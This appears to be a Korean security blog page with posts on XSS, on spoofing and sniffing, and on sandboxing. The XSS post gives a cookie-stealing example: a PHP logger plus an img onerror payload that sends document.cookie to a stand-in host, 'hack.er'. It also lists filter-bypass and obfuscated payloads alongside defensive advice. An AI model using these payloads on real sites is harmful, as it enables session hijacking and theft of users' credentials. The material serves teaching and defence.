XSS(Cross-site Scripting)는 웹 상에서 가장 기초적인 취약점 공격 방법의 일종으로, 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말합니다. 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취합니다. 크로스 사이트 스크립팅이란 이름 답게, 자바스크립트를 사용하여 공격하는 경우가 많습니다. 공격 방법이 단순하고 가장 기초적이지만, 많은 웹사이트들이 XSS에 대한 방어 조치를 해두지 않아 공격을 받는 경우가 많습니다. 여러 사용자가 접근 가능한 게시판 등에 코드를 삽입하는 경우도 많으며, 경우에 따라서는 메일과 같은 매체를 통해서도 전파됩니다. 물론, HTML을 사용하는 것이기 때문에, Text-Only 게시판이나, BBCode를 이용하는 위키위키 등에서는 XSS가 발생할 일은 없습니다. 단, {{{#!html HTML}}} 을 이용해서 HTML 태그를 사용할 수 있으므로 취약점이 있을 수도 있습니다. 주로 CSRF를 하기 위해서 사용되기 때문에 종종 CSRF와 혼동되는 경우가 있으나, XSS는 자바스크립트를 실행시키는 것이고, CSRF는 특정한 행동을 시키는 것이므로 다릅니다.

예시

해커의 홈페이지에 Cookie.php라는 이름의 PHP 파일을 생성합니다.

<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>


다음 공격할 사이트(hack.er라는 사이트를 예시)에 스크립트를 심습니다. 

<img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">


사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해집니다.

기법

아래는 한국에서 가장 많이 사용되는 IE 기준으로 작성한 것입니다. 따라서 크롬, 파이어폭스 등의 브라우저나 최신 브라우저 환경에서는 작동하지 않을 수도 있습니다. 실험은 w3schools에서 할 수 있습니다.

스크립트 태그

방법

스크립트 태그로 자바스크립트를 실행

예제

<script>alert('XSS');</script>

설명

스크립트 태그의 스크립트를 실행시킵니다. 안타깝게도, 매우 정직한 방법이라 대부분의 사이트에서 막는 경우가 많습니다. 브라우저단에서 필터링 해주는 경우도 있습니다. 물론 아래와 같이 예외 코드도 있습니다.

<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>

이 방법은 정직하여 막기가 쉽지만 만들어진지 몇십 년 이상 되었거나, 보안에 신경을 안써서 막지도 않는 경우도 있습니다.

자바스크립트 링크

방법

링크 태그로 자바스크립트를 실행

예제

<a href="javascript:alert('XSS')">XSS</a>

설명

브라우저에서 about: 링크와 같이, javascript: 로 시작하는 링크는 스크립트를 실행시킵니다.  XSS를 실행시키는 데만 사용되지는 않고, 링크 태그를 클릭할 경우, 다른 사이트로 이동하는 것을 막기 위해서 아래와 같이 사용되는 경우도 있습니다. 

<a href="javascript:;">LINK</a> 

스크립트 태그와 같이, javascript:를 필터링하는 경우가 많아 안타깝게도 많은 사이트에서 막습니다. 하지만, 스크립트 태그만 막는 경우도 있으니 시도는 해볼만 합니다.

이벤트 속성

방법

이벤트 속성을 사용

예제

<img src="#" onerror="alert('XSS')">

설명

이벤트 속성으로 스크립트를 실행할 수 있습니다. 주로 on 으로 시작하는 속성이 이벤트 속성입니다. 자주 사용되는 이벤트 속성으로는 onload onerror onclick 등이 있습니다. 물론, 이 방법 역시 '자바스크립트 링크' 방법만큼 많이 막혔습니다. 하지만, 마찬가지로 스크립트 태그만 막는 경우도 있으니 시도는 해볼만 합니다.

블랙리스트 우회

방법

알려지지 않은 태그와 속성들을 사용

예제

<ruby oncopy="alert('XSS')">XSS</ruby>

설명

블랙 리스트 방식으로 막는 사이트에 사용할 수 있습니다. 이벤트 속성 목록을 참고하면 됩니다. 위의 방법들보다는 적게 막혔으나, 여전히 최근 웹사이트들에선 화이트리스트 방식 차단이 대부분이라, 막혔을 가능성이 높습니다. 

내용 난독화

방법

따옴표로 감싸는 문자열 사이에 공백 문자들을 넣고 HTML 인코드를 하여 난독화합니다.

예제

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#xA;&#x63;&#x72;&#x69;&#x70;&#x74;&#xA;&#x3A;&#xA;&#x61;&#x6C;&#x65;&#x72;&#x74;&#xA;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">XSS</a>

설명

일부 브라우저에서 javascript: 링크 사이에 공백 문자가 들어갈 수 있고, HTML 인코드를 해도 디코드된 내용이 출력된다는 점을 이용합니다. 여기에서는 '자바스크립트 링크' 방법과 사용하였지만, 당연히 다른 방법과 함께 사용할 수 있습니다.

스크립트 난독화

방법

aaaencode에서 자바스크립트 난독화.

예제

XSS/aaaenocde 아래 참조.

゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

설명

스크립트를 일본어를 사용한 이모티콘들로 난독화합니다. 기존에는 JSFuck이 사용되었지만, 제작자의 말로, 오류가 나서 더이상 사용하지 못한다고 합니다. 스크립트 실행은 가능하지만, document.cookie 와 같은 단어를 막을 경우 사용하면 됩니다.

방어기법

XSS는 데이터를 입력할 때와 출력할 때, 모두 필터링하고, 클라이언트에도 막을 수 있을만한 수단을 구성해놓는 것이 좋습니다. 보안은 한없이 덧대도 끝이 없고, 아래 서술한 방식으로 구성해도 기어코 뚫어버리는 사람들이 존재하기 때문입니다.

입력필터

자바는 적당한 XSS 필터를 만든 뒤, web.xml에 선언하여 모든 파라미터가 해당 필터를 거치도록 하는것 만으로도 좋은 효과를 볼 수 있습니다. 

 PHP는 입력을 처리할 때, 정규식을 이용하는 preg_replace를 사용하거나, 노드를 이용하는 DOMDocument를 사용할 수 있습니다. 속도는 preg_replace가 더 빠르지만, 정규식의 경우 예외와 오류가 종종 발생하기 때문에, 더 안전한 DOMDocument를 사용하는 것이 권장됩니다. 하지만, 사람에 따라서 정규식을 사용하는 것이 개발하기 더 편한 경우가 있습니다. 하지만, 그렇다고 함부로 대충 정규식을 만들어서 사용했다가 탈탈 털리는 경우가 있습니다.

필터제작

단순히 텍스트만 입력시키거나 출력하는 데 필터를 제작할 때, 주로 필터되는 것이 <와 >입니다. 각각 &lt; 와 &gt; 처럼 HTML 문자로 바꾸어서 HTML 코드가 아닌 단순 문자로 인식하게 하는 것입니다. 하지만, 이 경우는 모든 HTML 태그를 막아버리기 때문에, 각종 스타일을 적용시켜야하는 사이트에서는 맞지 않을 수도 있습니다.

라이브러리 제작

각종 스타일을 적용시켜 글을 꾸며야 하는 사이트의 경우, 스크립트 태그와 이벤트 속성, javascript: 링크만 제대로 막아주어도 상당수를 막을 수 있을 것입니다. 하지만, EMBED 태그를 이용하여 저런 기법을 사용하지 않고도 XSS를 먹이는 경우가 있으므로, 다른 것들도 모두 막아주어야 합니다. 이 때, 일부 태그 및 속성만 막기 보다는, 반대로 일부 태그 및 속성만 허용하게 하는 것이 좋습니다. 몇몇 태그만 막는다면 HTML 태그나 속성이 추가될 수록 주기적으로 필터를 수정해줘야 하는데, 이럴 경우 HTML 표준을 주기적으로 꼼꼼히 챙겨보지 않는 한은(설령 그렇다 하더라도 비표준 태그가 있어서 웹 브라우저마다 호환이 안 될 수도 있음), 업데이트를 하는 사이에 이미 해커가 침투해놓고 유유자적하게 빠져나갔을 수도 있기 때문입니다.

라이브러리 이용

기존에 있던 라이브러리를 가져다 사용해도 좋습니다. 개인이나 소규모 단체가 만든 것 보다는, 전문적인 보안 업체나 거대 기업에서 만든 것이 공신력있고 편하기 때문입니다. 사용할만한 것으로는 OWASP Antisamy이나 NAVER Lucy XSS Filter, ESAPI 등을 이용하는 방법이 있습니다.

BBCode 사용

글을 꾸며야 하지만, 따로 필터를 만들긴 어려운 경우, BBCode를 사용할 수도 있습니다. 주로 <와 >를 대체하여서, [와 ]를 사용하여 만듭니다. 만들기도 다른 방법에 비해 편하고, 안전성도 높은 편이기 때문에 가장 추천되는 방법입니다. 또한 <나 >같은 HTML 코드를 단순 문자로 바꿀 수 있기 때문에 XSS가 실행될 염려가 적습니다. 하지만 이 때, 정규식과 같이 단순히 문자열 치환으로 수정할 경우, XSS가 발생할 수도 있습니다.

출력 필터

HTML5부터 iframe의 sandbox 옵션으로 iframe 내의 자바스크립트, 폼과 같은 것의 제한이 가능해 졌으므로, 위의 방법을 실행한 뒤 2차적으로 써보는 것도 좋습니다. 단, 어디까지나 2차로만 사용하는 것이 좋습니다. 구버전의 웹 브라우저라면 호환이 되지 않아 스크립트가 그대로 실행되거나, 설령 그게 아니더라도 웹 브라우저에서 취약점이 발견될 경우, 이런 방법이 뚫릴 수 있기 때문입니다. 

 iframe은 단순히 다른 웹사이트를 불러오는 것만이 아니라, 부모 창에서 마음대로 수정할 수 있기 때문에, 무식하게 다른 페이지를 불러오며 AJAX나 PJAX 등을 포기하며 사용하지 말아야 합니다. 물론, 기존부터 라이브러리를 사용하지 않고 웹 페이지를 개발하는 사람은 물론이고, jQuery같은 라이브러리를 사용하는 사람들도 조금만 검색해보면 간단하게 iframe의 내용을 수정할 수 있는 방법이 나오니 도전해 보도록 합시다.

기타

위 방법들과는 별개로 일반 사용자가 스크립트를 잘 알지 못하는 것을 악용하여, 사용자가 브라우저 콘솔에 악성 스크립트를 삽입해 실행되도록 속하기도 하는데, 이를 스스로 하는 XSS라는 뜻의 Self XSS라고 부릅니다. 이는 사용자가 스스로 실행한 것이니만큼 위 방어 방법으론 막기 어려우니, 잘 알지 못하는 스크립트 등은 절대로 실행해서는 안됩니다. 이 때문에 파이어폭스 등 일부 브라우저는 콘솔에 붙여넣기 시 경고후 확인을 거쳐야 붙여 넣을 수 있습니다.

XSS 공격을 방지하는 7계명

0. 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는것을 허용하지 않는다.
1. 신뢰할 수 없는 데이터는 검증을 하여라.
2. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라.
3. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라.
4. CSS의 모든 신뢰할 수 없는 값에 대해서 검증하여라.
5. URL 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라.
6. HTML 코드를 전체적으로 한번 더 검증하여라.


'보안' 카테고리의 다른 글

블록 암호 운용 방식 (block cipher modes of operation)  (1) 2017.02.18
CSRF란?  (0) 2017.01.16
XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (1) 2016.07.21

스푸핑(Spoofing)이란?

자기 자신의 식별 정보를 속여 다른 대상 시스템을 공격하는 기법입니다. 네트워크 상의 공격자는 TCP/IP 프로토콜 상의 취약성을 기반으로 해킹 시도시 자신의 시스템 정보(IP 주소, DNS 이름, Mac 주소 등)를 위장하여 감춤으로써 역추적이 어렵게 만듭니다. 이러한 스푸핑 공격은 패킷 스니퍼링이나 서비스 거부 공격, 세션 하이재킹(Session Hijacking)등의 다른 여러가지 공격을 수행 가능하게 합니다. 스푸핑을 그냥 사용하기 보단 스니핑을 사용하기 위한 준비단계로 많이 사용됩니다.

스니핑(Sniffing)이란?

사전적인 의미로 스니핑(Sniffing)이란 ‘코를 킁킁거리다’, ‘냄새를 맡다’ 등의 뜻이 있습니다. 사전적인 의미와 같이 해킹 기법으로서 스니핑은 네트워크 상에서 자신이 아닌 다른 상대방들의 패킷 교환을 엿듣는 것을 의미합니다. 간단히 말하여 네트워크 트래픽을 도청(eavesdropping)하는 과정을 스니핑이라고 할 수 있습니다. 이런 스니핑을 할 수 있도록 하는 도구를 스니퍼(Sniffer)라고 하며 스니퍼를 설치하는 과정은 전화기 도청 장치를 설치하는 과정에 비유될 수 있습니다. Hub를 사용하는 곳에서는 패킷을 broadcast로 보내기 때문에 모든 PC에서 패킷을 볼 수 있습니다. 그러나 패킷의 목적지 IP가 자신의 IP가 아니면 버리게 되는데 이때 Promiscuous 모드를 사용하면 그 패킷을 버리지 않습니다. 

사용하는 툴로는 Wireshark를 통해서 패킷을 획득할 수 있습니다.

스푸핑 공격의 종류

  1. IP 스푸핑 
  2. ARP 스푸핑 
  3. 이메일 스푸핑 
  4. DNS 스푸핑

IP 스푸핑

IP 스푸핑은 말 그대로 IP 정보를 속여서 다른 시스템을 공격하는 것입니다. IP 스푸핑을 통해 서비스 거부 공격(TCP Syn flooding, UDP flooding, ICMP flooding)을 수행할 수도 있으며, 공격대상 컴퓨터와 서버 사이의 연결된 세션에 대해서 세션 끊기도 가능합니다. TCP/IP 상의 프로토콜 취약성은 1985년 Robert T. Morris의 논문 “A Weakness in the 4.2 BSD Unix TCP/IP Software”에 업급이 되었으며, 특히 희대의 해커 케빈미트닉은 실제 해킹에서 IP 스푸핑 공격을 통해 모토롤러, 선마이크로시스템즈, NEC, 노벨 등의 컴퓨터 전산망에 침투, 소프트웨어 및 각종 자료 등을 훔친 혐의로 1995년 체포되었습니다.

케빈 미트닉은 정확하게는 TCP Syn flooding + TCP 순서 번호 예측(TCP Sequence Nubmer Guessing)- IP 스푸핑을 사용하였습니다. 이는 클라이언트와 서버와의 통신 사이에 해커 컴퓨터가 끼어들어 클라이언트를 TCP Syn flooding 서비스 거부 공격으로 전혀 반응하지 못하게 한 후, 해커가 이 클라이언트인 것으로 가장하여 서버와 통신하는 기법입니다. 이러한 공격은 TCP/IP 프로토콜의 문제점인 TCP 순서 번호 생성이 매초당 일정하게 증가한다는 것과 호스트에 대한 인증시 IP의 소스 주소만을 사용한다는 것으로 인하여 가능하였습니다. 순서 번호는 연결 지향형 프로토콜인 TCP 프로토콜에서 두 호스트 간의 패킷 전달이 손실 없이 이루어졌는지 체크하기 위한 일종의 패킷 번호표입니다. 해커는 일단 클라이언트를 TCP Syn flooding 공격으로 봉쇄합니다. 이후 서버의 순서번호를 예측하여 IP 스푸핑된 위조 패킷을 발송함으로써 서버를 속여 침투하는 것입니다. IP 기반의 인증만을 제공하는 Unix의 rlogin, rsh 등의 r 계열 서비스들은 이러한 IP 스푸핑 공격에 취약할 수 밖에 없습니다.

ARP 스푸핑

ARP 프로토콜은 32bit IP 주소를 48bit의 네트워크 카드 주소(Mac Address)로 대응시켜 주는 프로토콜입니다. 우리가 실제로 IP 주소를 통해 네트워크 연결을 시도하면 TCP/IP에서는 해당 IP에 해당하는 네트워크 카드 주소를 찾아 연결하게 됩니다. 이러한 IP 주소와 네트워크 카드 주소의 대응 테이블은 스위치나 기타 네트워크 장비 및 사용자 컴퓨터에서 arp cache 테이블이라는 곳에 위치하게 됩니다. 해커가 이 테이블 상의 정보를 위조하게 되면 공격 대상 컴퓨터와 서버 사이의 트래픽을 해커 자신의 컴퓨터로 우회시킬 수 있습니다. 우회된 트래픽으로부터 해커는 패스워드 정보 등 유용한 정보를 마음껏 획득할 수 있습니다.

이메일 스푸핑

이메일 발송시 송신자의 주소를 위조하는 것입니다. 간단한 방법으로는 이메일 송신자 From 필드에 별칭(alias) 필드를 사용할 수 있습니다. 이메일 발송시 별칭을 설정한 경우에는 별칭 주소로 이메일이 발송됩니다. 이러한 경우 메일을 받아보는 사람은 실제 이메일 송신자가 아닌 별칭 필드만을 확인하는 경우에는 이메일의 송신자가 별칭 필드에서 온 것으로 알게 됩니다. 요즘 들어서 극성인 대량의 스팸 메일과 바이러스 감염 메일은 송신자의 주소가 아예 존재하지 않는 이메일 주소를 사용합니다. 또한 이메일을 발송한 메일 서버 또한 직접적인 메일 발송 서버가 아닌 중계 서버이므로 메일을 발송한 자를 추적하기란 쉽지 않습니다.

DNS 스푸핑

DNS 프로토콜은 인터넷 연결시 도메인 주소를 실제 IP 주소로 대응시켜 주는 프로토콜입니다. 인터넷 연결시 사용하는 DNS 서버가 IP 주소를 찾아달라는 요청을 받았을 때, 자기 자신의 도메인이 아닌 주소에 대해서는 보다 상위 단의 DNS 서버로부터 재귀적(recursive) 인 방식으로 IP 주소를 찾아 알려줍니다.

만약 해커가 어떤 도메인의 DNS 컴퓨터를 장악하여 통제하고 있다면 최종적으로 얻어진 IP 주소는 원래 사용자가 찾아가고자 하였던 홈페이지가 아닌 다른 홈페이지로 연결되게 됩니다. 이는 요청을 발송했던 DNS와 응답을 주는 DNS 사이의 트래픽을 해커가 스니퍼링함으로써 Query ID라는 값을 통해 해커의 사이트 IP를 최종 응답으로 넘겨주도록 하는 것입니다. 사용자가 쇼핑몰을 이용하고자 하였다면 해커에 의해 조작된 홈페이지 내에서 자신의 아이디와 필드, 신용 카드 정보를 기입함으로써 개인 정보를 탈취당할 수 있습니다.


위와 같은 스푸핑 공격들은 실제로 인터넷 상의 툴로써 공개가 되어 있으며 여러가지 다른 복합적인 공격과 같이 사용될 수 있습니다. 그러나 각각의 공격 방법에 있어서 제약 및 전제 사항이 있으므로 모두 완벽하게 성공 되지는 않습니다. 스푸핑 공격은 패킷 필터링 접근 제어와 IP 인증 기반 접근제어, 취약점 서비스 사용의 제거, 암호화 프로토콜의 사용을 통해서 방어가 가능합니다.


'보안' 카테고리의 다른 글

CSRF란?  (0) 2017.01.16
XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (1) 2016.07.21
AES  (0) 2016.07.21

샌드박스란

샌드박스는 외부로부터 받은 파일을 바로 실행하지 않고 보호된 영역에서 실행시켜 봄으로써 외부로부터 들어오는 파일과 프로그램이 내부 시스템에 악영향을 주는 것을 방지하는 기술입니다.

이는 외부로부터 유입되는 악성코드로부터 시스템 내 파일이나 프로세스를 보호하는 데 사용합니다. 샌드박스에서 실행되어 안전하다고 검증받은 파일이나 작업은 시스템 변경이 가능하지만, 허용하지 않은 경우에는 변경할 수 없습니다. 

기술적으로 설명하면, 외부로부터 들어온 프로그램이나 실행 파일을 가상화 내부에서 시험적으로 동작시켜봄으로써 가상화 밖으로는 영향을 주지 않습니다. 한 마디로 가상화 기술을 악성행위나 악성코드 감지 시스템에 적용한, 보안 가상화의 일종입니다. 가상화를 통한 보안은 상당히 많은 영역에서 사용되고 있습니다.
정보유출 방지 시스템에서의 SBC(Server Based Computing), VDI(Virtual Desktop Infrastructure, 데스크톱 가상화) 등이 있으며, 그리고 네트워크를 가상화한 망분리가 있습니다. 그리고 악성코드 전파 방지를 위해 샌드박스, 차폐, 악성코드 분석, 소프트웨어 테스트 등이 있습니다.

현재 샌드박스 기술은 보안 솔루션 뿐만 아니라 소프트웨어 테스트, 브라우저, 앱스토어 등 여러 분야에서 시스템 안전을 목적으로 활용되고 있습니다. 샌드박스 기술이 보안 분야에서 각광받게 된 것은 사이버 공격 기술의 발전으로 인한 기존 시그니처 기반의 탐지 솔루션의 한계 때문입니다.

시그니처 기반의 탐지 솔루션은 기존 바이러스나 악성코드들을 서버에 등록해놓고 유입되는 파일들을 일일리 대입해 검증하는 방식입니다. 악성코드의 빠른 진화와 공격 기술 발전으로, 변종 악성코드들이 하루가 다르게 발생하는 상황에서 시그니처 기반으로 한 보안 제품은 공격을 막는데 한계에 봉착하게 됩니다.

특히 특정 운영체제나 소프트웨어에서 발견된 취약점을 각 개발업체나 보안업체들이 패치하기 전에 공격에 악용하는, 일명 제로데이 공격(zero day attack)에는 속수무책일 수 밖에 없습니다. 또한 최근 공격자들은 기업 시스템이나 개인 PC에 몰래 침투한 뒤, 오랫동안 들키지 않고 기업 기밀이나 개인정보를 빼내는 경향이 많아졌습니다. 이를 APT(advanced persistent threat)라고 합니다. 이를 위해 공격자들은 기존 보안 시스템에 감지되지 않는 우회 기술들을 많이 개발해내고 있습니다. 이런 기존 감지 시스템의 한계를 극복하기 위해 보안업체들은 샌드박스 기술을 도입했습니다. 샌드박스의 역할은 유입되는 파일이나 프로그램을 곧바로 본 시스템에 들여보내는 것이 아니라 본 시스템과 유사하게 만들어진 일종의 대기실에서 해당 파일이나 프로그램을 실행시키는 것입니다.


이때 악성 프로그램이나 파일 속에 숨은 악성코드는 본래의 공격을 개시하는데 악성코드가 활동해 감염되고 침투되더라도 이 대기실만 감염되는 것입니다. 샌드박스 밖으로는 전파되지 못합니다. 각 보안업체들이 이런 샌드박스 기능이 담긴 보안 솔루션을 내놓으면서 보안 상황은 한결 좋아졌습니다. 하지만 보안 담당자들의 행복은 오래가지 않았습니다. IT 보안 공격과 방어는 창과 방패의 악순환처럼, 보안업체들이 뚫리지 않는 방패를 만들면 공격자는 이를 뚫는 창을 다시 만들어내고 이를 다시 막아내는 순환 프로세스를 반복하고 있습니다. 공격자들은 샌드박스 특유의 코드를 파악해 샌드박스를 감지해 실행을 하지 않거나 일정 시간동안 실행을 중지하는 등의 지능형 악성코드를 개발했습니다. 일정 기간 별다른 악성 행위가 없으면 본 시스템으로 이전시키는 샌드박스 기능의 특성을 이용한 것입니다. 샌드박스 방식의 보안 솔루션이 APT 공격의 주된 방패로 알려져 있지만 이렇게 우회 기술이나 회피 기술이 나왔으며, 근본적으로 샌드박스는 작업을 수행하는 데 시간이 오래 걸린다는 단점이 있습니다. 그래서 샌드박스 기능은 단독 보안 솔루션으로 사용하기보다는 시그니처 기반의 감지 솔루션, 평판 분석, 정적 분석, 웹 게이트웨이 등 여러 보안 제품과 통합, 연동을 통해 APT에 대응합니다

'보안' 카테고리의 다른 글

XSS공격이란  (0) 2017.01.16
Spoofing? Sniffing?  (0) 2016.11.09
SandBox란?  (0) 2016.07.28
AES와 SHA 차이  (1) 2016.07.21
AES  (0) 2016.07.21
Man In The Middle Attack  (0) 2016.07.19

+ Recent posts